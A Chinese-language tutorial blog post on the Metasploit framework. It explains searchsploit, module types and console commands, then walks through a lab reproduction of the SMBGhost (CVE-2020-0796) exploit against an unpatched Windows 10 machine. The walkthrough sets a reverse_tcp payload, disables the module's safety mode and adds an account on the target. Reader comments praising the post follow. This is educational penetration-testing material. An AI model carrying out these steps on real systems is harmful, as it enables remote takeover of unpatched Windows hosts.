网络安全学习Metasploit框架及基本用法

2024-10-31 11:55:28 | 作者: 匿名

(rootkali)-[/data]# searchsploit --helpUsage: searchsploit [选项] term1 [term2] . [termN]==========示例==========searchsploit afd windows 本地searchsploit -t oracle windows searchsploit -p 39446 searchsploit linux 内核3.2 --exclude='(PoC)|/dos/' searchsploit -s Apache Struts 2.0.0 searchsploit linux 反向密码searchsploit - j 55555 | json_pp 有关更多示例,请参阅手册: https://www.exploit-db.com/searchsploit==========选项=========## 搜索术语-c, --case [ Term]执行区分大小写的搜索(默认为inSEnsITiVe) -e, --exact [Term] 对漏洞标题执行精确的顺序匹配(默认为每个术语的AND 匹配)[暗示'-t'] 例如'WordPress 4.1' 不会被检测到'WordPress Core 4.1') -s, --strict 执行严格搜索,因此输入值必须存在,禁用版本范围的模糊搜索,例如在“1.0 1.3”中不会检测到“1.1”) -t, --title [Term] 仅搜索漏洞利用标题(默认为标题和文件路径) --exclude='term' 从结果中删除值。通过使用“|”要分开,您可以链接多个值,例如--exclude='term1|term2|term3'## 输出-j, --json [Term] 使用json 格式显示结果-o, --overflow [Term] 允许利用标题溢出其列-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还可以将路径复制到剪贴板)) -v, --verbose 在输出中显示更多信息-w, --www [Term] 显示URL到Exploit-DB.com 而不是本地path --id 显示EDB-ID 值而不是本地路径--colour 在搜索结果中禁用颜色突出显示## 非搜索-m, --mirror [EDB-ID] 镜像(也称为复制)当前工作的漏洞利用目录-x, --examine [EDB-ID] 使用$PAGER## 检查(也称为打开)漏洞利用程序非搜索-h, --help 显示此帮助屏幕-u, --update 检查并安装任何exploitdb 软件包更新(brew、deb git)## 自动化--nmap [file.xml] 检查Nmap的XML输出中的所有结果,服务版本例如: nmap [host] -sV -oX file.xml

Metasploit功能及介绍

Metasploit是一个开源安全漏洞检测工具MSF官方网站:https://www.metasploit .com/MSF文档地址:https://docs.metasploit.com/Metasploit 有两个版本。 Metasploit Framework 是免费版本,Metasploit Pro 是付费版本,但您可以试用30 天。

Metasploit 中的一些概念

基础库: Metasploit 基础库文件,位于源代码根目录路径下的libraries目录下,包括Rex、framework-core和framework-base。 Rex是整个框架所依赖的最基本组件,如封装的网络套接字、网络应用协议客户端和服务器实现、日志子系统、渗透攻击支持例程、PostgreSQL和MySQL数据库支持等; framework-core库负责实现与各类上层模块和插件的所有交互接口;framework-base库扩展了framework-core,提供了更简单的封装例程,提供了一些功能类来处理各种框架方面,用于支持用户界面和功能程序调用框架自身的功能和框架集成模块;

模块: 模块组织根据不同用途分为6类模块(Modules)。分为辅助模块(Aux)、渗透攻击模块(Exploits)、渗透后攻击模块(Post)、攻击负载模块(payload)。编码器,空指令模块(Nops)。注意:负载也称为攻击负载。主要用于在目标机和攻击机之间建立稳定的连接。可以返回shell,也可以进行程序注入等。

插件: 插件可以扩展框架的功能,或者将组件与现有功能组装起来形成高级功能。插件可以集成一些现有的外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户界面提供一些新的功能。

界面:包括msfconsole控制终端、msfcli命令行、msfgui图形界面、armitage图形界面和msfapi远程调用界面。

功能程序: Metasploit还提供了一系列可直接运行的功能程序,支持渗透测试人员和安全人员快速使用Metasploit框架的内部功能来完成某些任务。例如msfpayload、msfencode和msfvenom可以将攻击负载封装成可执行文件、C语言、JavaScript语言等形式,并可以进行各种类型的编码。

每个漏洞利用模块都根据其对目标系统的潜在影响标记有“Rank”字段。用户可以根据Rank对漏洞利用模块进行搜索、分类和排序。排名按可靠性降序排列:

优秀的漏洞利用永远不会使目标服务崩溃,例如SQL 注入、命令执行、远程文件包含、本地文件包含等。除非有特殊情况,否则典型的内存损坏漏洞可能不会在此级别进行评估。

该漏洞具有默认目标系统,可以自动检测适当的目标系统,或者可以在对目标服务进行版本检查后回退到特定的返回地址。

这个漏洞利用有一个默认的目标系统,并且是此类软件的“常见情况”(桌面应用程序为Windows 7,服务器为2012 等)

正常此漏洞利用是可靠的,但特定于版本,无法或无法可靠地自动检测到。

一般的漏洞利用是不可靠或难以利用的。

低对于常见平台,该漏洞几乎不可能被利用(或利用成功率低于50%)

手册该漏洞利用不稳定或难以利用,并且基于拒绝服务(DOS)。如果某个模块只有在用户专门配置该模块时才会使用,否则该模块将不会使用,也可以评定为该级别。

Metasploit 的使用

Metasploit安装

kali系统自带Metasploit Framework,无需额外安装。有关在其他系统上安装Metasploit 的信息,请参阅文档:Nightly Installers | Metasploit 文档渗透测试软件、渗透测试安全性。 Metasploit依赖于postgresql数据库,因此在启动metasploit之前需要先启动postgresql数据库。

msfupdate ## msf更新命令msfconsole ## 启动msf db_connect postgres:postgres@127.0.0.1/test ## 连接数据库db_status ## 查看数据库状态

Metasploit启动方式

点击图标开启

msfconsole —— 不会启动postgre sql 数据库需要启动手动先数据库(systemcl start postgresql)msfdb run ——快捷命令会同时打开postgresql数据库和metasploit服务

启动后会显示msf的一些信息,当前系统中msf的版本号,各个模块的统计信息等。

=[metasploit v6.2.9-dev]+ -- --=[ 2230 个漏洞- 1177 个辅助- 398 个帖子]+ -- --=[ 867 个有效负载- 45 个编码器- 11 个nops ]+ -- --=[ 9 个规避]

命令行开启

进入msf控制台后,执行help命令可以查看msf中可以使用的命令,主要有以下几类:

Core Commands #核心命令Module Commands #模块命令Job Commands #后台任务命令Resource Script Commands #资源脚本命令Database Backend Commands #数据库后端命令Credentials Backend Commands #证书/凭证后端命令Developer Commands #开发人员命令

Msfconsole 命令行

Metasploit文件结构与模块

文件路径:/usr/share/metasploit-framework 目录结构:

config:MSF配置文件,data:渗透后模块的一些工具和payload,第三方小工具集合,用户字典等数据信息文档:用户文档和开发文档lib:基础类和第三方模块类modules:MSF系统工具模块插件:第三方插件接口脚本:MSF常用的后利用模块,与数据中的后利用模块不同。不需要添加post参数和绝对路径。您可以直接运行它。工具:附加小工具和第三方脚本工具external: MSF 一些基本扩展模块msfconsole: MSF 基本命令行,集成各种功能msfd: MSF 服务,非持久化服务msfdb: MSF 数据库msfupdate: MSF 更新模块,可用于更新MSF模块msfrpc: MSF 服务器,非持久性rpc 服务msfrpcd: 是持久性MSF 本地服务,可以为远程用户提供rpc 服务和其他http 服务,并且可以通过xml 传输数据。

文件结构

MSF分为7个模块,文件路径为/usr/share/metasploit-framework/modules

漏洞利用(渗透攻击/利用模块)

渗透攻击模块是利用已发现的安全漏洞或配置缺陷来攻击远程目标的代码组件,以植入和运行攻击负载以获得对远程目标系统的访问权限。流行的渗透攻击技术包括缓冲区溢出、Web应用漏洞攻击、用户配置错误等,其中包括攻击者或测试人员针对系统漏洞设计的各种POC验证程序,以及用于破坏系统安全的程序。攻击代码,每个漏洞都有对应的攻击代码。渗透攻击模块是Metasploit框架的核心功能组件。

Payloads(攻击负载模块)

攻击负载是我们期望目标系统被渗透后完成实际攻击功能的代码。成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码。攻击负载模块从最简单的添加用户账户、提供命令行shell,到图形化的VNC界面控制,再到最复杂的Meterpreter,它具有大量的后利用攻击阶段特征,使得渗透攻击者能够执行选定的渗透。攻击代码后,他从众多适用的攻击负载中选择自己喜欢的模块并灵活组装,在渗透攻击后获得自己选择的控制会话类型。这种模块化的设计和灵活的组装方式也为渗透攻击者提供了极大的便利。

辅助(辅助模块)

该模块不直接建立测试仪和目标主机之间的访问。他们只负责执行扫描、嗅探、指纹识别等相关功能来协助渗透测试。

nops(空指令模块)

网络安全学习Metasploit框架及基本用法

无操作指令(NOP)是无操作或不相关的操作指令,对程序的运行状态没有任何实质性影响。最典型的空指令是空操作,x86 CPU架构平台上的操作码是0x90。在渗透攻击中构造邪恶数据缓冲区时,往往需要在实际执行的Shellcode之前添加一个空的命令区。这样,当触发渗透攻击并执行shellcode时,就会有一个更大的安全着陆区,避免由于内存地址随机化、返回地址计算偏差等原因导致的shellcode执行失败。Matasploit框架中的空命令模块是一个组件,用于在攻击负载中添加一个空的命令区域,以提高攻击的可靠性。

编码器(编译器模块)

编码器模块通过对攻击负载进行各种形式的编码来完成两项主要任务。首先是保证渗透攻击时应避免的攻击负载中不存在“坏角色”;二是“避免”攻击负荷。 “查杀”处理,即逃避杀毒软件和IDS/IPS的检测和拦截。

post(渗透后攻击模块)

渗透后攻击模块主要用于渗透攻击获得目标系统的远程控制权后,在受控系统中执行各种渗透后攻击动作,如获取敏感信息、进一步横向扩展、实施跳板攻击等。

躲避(躲避模块)

规避模块(规避反杀):主要用于规避Windows Defender防火墙、Windows应用程序控制策略(applocker)等的检查。

功能模块

Metasploit常用命令

connect命令用于远程连接主机。常用于内网渗透场景。最常用的命令是: connect 192.168.0.107 80

connect

用于列出各个模块的内容。 show all 列出所有模块的内容。

show nops : 列出nops模块下的所有内容。

show

用于搜索msf中的各种漏洞和插件。是最常用的命令之一

msf6 search --help-h, --help 帮助横幅-I, --ignore 如果唯一匹配与搜索同名则忽略该命令-o, --output filename 将输出内容写入csv 格式的文件-r, --sort-descending column 按降序对搜索结果进行排序-S, --filter filter 用于过滤搜索结果的正则表达式模式-s, --sort-ascending column 按指定列对搜索结果进行升序排序-u , --use 如果有一个结果,则使用模块Keywords:aka : 具有匹配AKA(也称为)名称的模块author : 由该作者编写的模块arch : 影响此架构的模块bid : 具有匹配Bugtraq IDcve 的模块: 具有匹配CVE IDedb 的模块: 具有匹配的漏洞利用数据库IDcheck 的模块: 支持“检查”方法的模块date : 具有匹配的公开日期描述的模块: 具有匹配的描述fullname 的模块: 具有匹配的全名mod_time 的模块: 具有匹配的修改日期名称的模块: 具有匹配的修改日期名称的模块描述性名称路径: 具有匹配路径的模块platform : 影响此平台的模块port : 具有匹配portrank 的模块: 具有匹配排名的模块(可以是描述性的(ex: 'good')或带比较运算符的数字(ex: 'gte400'))ref : 模块具有匹配的引用: 具有匹配的引用的模块目标: 影响此目标类型的模块: 特定类型的模块(利用、有效负载、辅助、编码器、规避、发布或nop) 支持的搜索列:rank : 按可利用性对模块进行排序排序日期: 对模块进行排序截至其披露日期。 discovery_datedisclosure_date的别名: 按公开日期名称对模块进行排序: 按名称类型对模块进行排序: 按类型检查对模块进行排序: 按是否有检查方法对模块进行排序示例1 : 使用名称搜索漏洞,名称描述为更多您提供的信息越详细,您的搜索结果就越精确。

例2:使用路径搜索,通过path命令,可以找到位于该路径下的所有模块。

Metasploit 支持模糊查询,并且不区分大小写。示例3:缩小搜索范围。范围越细,结果就越准确。

示例4:通过CVE查找漏洞

search

use 使用模块,用法:用户+模块名

use

显示模块相关信息info + 模块名称或使用加载模块后,执行info 可查看模块信息。在弹出的info信息中,需要重点关注: 可用目标: 可用目标,即可以被攻击的操作系统。基本选项: 基本参数配置,即调用漏洞所需的参数说明: 漏洞描述及执行过程参考资料:漏洞相关参考文档

还可以使用show命令查看模块相关信息,如:查看模块配置信息: show options

msf6exploit(windows/smb/cve_2020_0796_smbghost) show optionsModule options (exploit/windows/smb/cve_2020_0796_smbghost): 名称当前设置所需说明---- -------------- ---- ---- ---------- ROSTS 是ta

rget host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP)Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.188 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Windows 10 v1903-1909 x64查看模块适用目标: show targets msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show targetsExploit targets: Id Name -- ---- 0 Windows 10 v1903-1909 x64

Metasploit实战1 - 复现win10永恒之黑漏洞

永恒之黑漏洞介绍

永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用 “Windows SMB服务” 漏洞远程攻击获取系统最高权限。

漏洞复现

前提:win10 版本 1903 ,且未安装过漏洞补丁。

复现过程

查看系统版本2. 查看系统信息cmd 窗口中输入 systeminfo 查看系统统计信息。 永恒之黑的漏洞补丁编号为: KB4551762 ,修补程序里没有证明没有打过补丁。3. 关闭win10主机防火墙设置 --> 网络和Internet --> 以太网 --> windows防火墙4. 开启网络发现和 文件共享(使用445端口)设置 --> 网络和Internet --> 以太网 -->更改高级共享设置 5. kali 上测试 win10 机器是否开启445 端口开始复现漏洞模块的整体使用流程msf中查找永恒之黑漏洞的exp : search cve-2020-0796 使用use 命令加载模块,可以直接用id 或者用名字 exploit/windows/smb/cve_2020_0796_smbghost 加载完后,使用show options 查看配置信息。 设置目标机信息set RHOSTS 192.168.0.107 PS:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。由于该模块默认只有一个payload,可以不需要单独设置payload,如果不想用默认的payload,也可以设置成别的payload。

网络安全学习Metasploit框架及基本用法

search windows/x64/shell type:payload 找到以后,使用如下命令加载payload: set payload windows/x64/shell/reverse_tcp 执行 set DefangedMode false 关闭DefangedMode,否则直接执行exploit会报错。 执行 exploit 或者run命令开始运行模块 遇到如上红框内报错,说明metaspolit中 永恒之黑这个模块少文件,到github上下载一份放到目录下即可, 然后解压放到 /usr/share/metasploit-framework/ 对应的目录下即可 ┌──(root㉿kali)-[/data] └─# unzip external.zip -d /usr/share/metasploit-framework/这个win10版本比较坑,容易蓝屏或者死机,可以多试几次。 问题记录: 这次成功之前,是关闭了kali上docker服务,并且清理了iptables 后,才成功了 。 使用 CMD 命令创建用户C:\Windows\system32>net user admin admin /add显示乱码但是已经添加成功拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)执行如下指令 C:\Windows\system32>chcp 65001 查看用户C:\Windows\system32>net user 可以通过执行 ”background“ 命令将当前会话放到后台,执行 “sessions” 命令查看存在的会话, “sessions -i id” 应用会话。 exploit -j: 通过会话连接目标机时,后台运行渗透目标完成后,自动创建一个sessionmsf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit -j 使用 session -k id 关闭session

用户评论

龙吟凤

这篇文章真是帮了我大忙了,之前对Metasploit一窍不通,现在基本用法都掌握了,感觉网络安全之路又近了一步!

    有14位网友表示赞同!

生命一旅程

刚开始学Metasploit的时候,真是头都大了,不过这篇教程写得挺详细的,基本用法都讲明白了,感谢分享!

    有8位网友表示赞同!

君临臣

Metasploit框架太强大了,这篇文章介绍的基本用法很实用,感觉自己的技能树又添了一技。

    有14位网友表示赞同!

孤败

网络安全这块真是深不可测,Metasploit框架作为工具之一,了解基本用法很有必要,这篇文章让我受益匪浅。

    有18位网友表示赞同!

孤岛晴空

学习了Metasploit框架的基本用法,感觉自己对渗透测试有了更深入的理解,感谢作者的文章!

    有10位网友表示赞同!

夏至离别

之前一直觉得Metasploit很复杂,但看完这篇文章后,发现其实也没那么难,基本用法还是挺简单的。

    有19位网友表示赞同!

别留遗憾

网络安全领域博大精深,Metasploit框架是其中的利器,这篇文章介绍得很全面,让我对它有了新的认识。

    有20位网友表示赞同!

残花为谁悲丶

Metasploit框架基本用法这篇文章太及时了,我刚入门网络安全,这篇文章让我少走了很多弯路。

    有11位网友表示赞同!

夜晟洛

学习了Metasploit框架的基本用法,感觉自己在网络安全方面的技能又提升了一个档次,感谢作者的文章!

    有16位网友表示赞同!

高冷低能儿

这篇文章讲解的Metasploit框架基本用法太实用了,我已经分享给我的朋友了,希望他们也能从中受益。

    有10位网友表示赞同!

荒野情趣

网络安全学习之路漫漫,Metasploit框架是其中的重要工具,这篇文章让我对它有了更深入的了解。

    有16位网友表示赞同!

◆残留德花瓣

Metasploit框架的基本用法这篇文章写得真好,让我对渗透测试有了新的认识,感谢分享!

    有13位网友表示赞同!

将妓就计

学习了Metasploit框架的基本用法,感觉自己离成为一名合格的网络安全工程师又近了一步,感谢作者的文章!

    有5位网友表示赞同!

拥菢过后只剰凄凉

网络安全领域的工具很多,Metasploit框架是其中之一,这篇文章介绍的基本用法让我受益匪浅。

    有12位网友表示赞同!

减肥伤身#

这篇文章让我对Metasploit框架有了全新的认识,基本用法讲得非常清晰,赞一个!

    有7位网友表示赞同!

棃海

网络安全学习过程中,Metasploit框架是必不可少的工具,这篇文章让我掌握了基本用法,非常感谢!

    有10位网友表示赞同!

烬陌袅

Metasploit框架的基本用法这篇文章太有帮助了,我已经收藏起来,以后学习时随时查阅。

    有9位网友表示赞同!

此刻不是了i

网络安全领域知识更新换代快,这篇文章介绍的基本用法让我紧跟时代步伐,感谢分享!

    有19位网友表示赞同!

仰望幸福

学习了Metasploit框架的基本用法,感觉自己离成为一名真正的黑客又近了一步,哈哈,开玩笑的,但真的很有帮助。

    有14位网友表示赞同!

不浪漫罪名

网络安全学习过程中,这篇文章让我对Metasploit框架有了全新的认识,感谢作者的文章,让我受益匪浅。

    有9位网友表示赞同!